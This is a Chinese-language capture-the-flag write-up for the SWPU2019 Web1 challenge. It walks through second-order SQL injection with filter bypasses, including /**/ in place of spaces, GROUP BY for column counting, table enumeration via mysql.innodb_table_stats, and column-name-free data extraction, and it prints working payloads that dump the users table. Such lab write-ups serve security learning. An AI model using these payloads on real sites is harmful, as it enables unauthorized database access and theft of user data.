目录
[SWPU2019]Web1
无列名查看表数据
不使用列名查询表中数据
[SWPU2019]Web1
首先我们先注册,登录进来后看到如下界面:
我们点击申请发布广告,并发送:
查看广告详情,发现疑似存在注入点:
于是我们在发布广告页进行注入(这是一个二次注入题)
发现有东西被过滤了,经过尝试,发现 and、or、空格、# 等被过滤了。
#注释被过滤了,后面有单引号 ' ,我们需要在最后加上单引号' 去闭合
我们尝试发现,空格可以使用 /**/ 代替
但是or被过滤了,怎么查询字段数,以及 information_schema 数据库呢?
我们可以使用 group by 去代替 order by 查询字段数:
1'/**/group/**/by/**/23,'1 # 最后的 '1 去闭合单引号
发现:
将23,改成22,没有出错,所以共有22个字段。
然后我们去判断回显:
0'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
发现第二和第三列可以回显,然后我们查询当前数据库:
0'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
我们查询到当前数据库为: web1
然后我们查询当前数据库的所有表,但是 or 被过滤了,我们没办法使用 information_schema 数据库,怎么办呢?
经过查询资料,我们知道了一下数据库: mysql.innodb_table_stats
这个数据库可以查看 所有数据库名、所有表名,但是不能查看列名:
于是我们使用它来查询所有表名:
0'/**/union/**/select/**/1,2,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='web1'),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
查询到两个表,接着我们想要查询列名,但是好像做不到。于是我们了解到了一种 无列名查看表中数据的 方法:
无列名查看表数据
我们知道mysql联合查询 union 中,必须前后两个表的列数相等。并且联合查询出的表的字段名称默认为前一个表的字段名称。
例如:有一个3列的user表
此时我们进行联合查询:
select 1,2,3 union select * from user;
我们发现查询出的列名为前一表的列名: 1,2,3 。
因此,我们可以使用嵌套查询,将该表作为一张新的表,其字段名为:1,2,3。然后进行查询:
select `2` from (select 1,2,3 union select * from user);
发现报错了,mysql要求每一个派生出来的表都必须有一个自己的别名,那我给派生表加上别名即可;
我们将新产生的表命名为 tb ,再进行查询新表的第二列:
select `2` from (select 1,2,3 union select * from user) as tb;
发现查询出了新表的第二列
(查第二列时我们需要加入反引号 ` 否则会查询出数字2):
如果反引号 ` 被禁用的话,还有一种操作,可以给新表的字段起一个别名:
select c from (select 1,2,3 as c union select * from user) as tb;
这样也可以不知道字段名的时候,直接从表中查询出数据(我们需要猜测表的列数)
因此,根据以上知识点。我们可以查询 users表中的数据(猜测共有三列):
0'/**/union/**/select/**/1,2,(select/**/group_concat(c)/**/from/**/(select/**/1,2,3/**/as/**/c/**/union/**/select/**/*/**/from/**/users)as/**/tb),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
记得给新表起一个别名,否则报错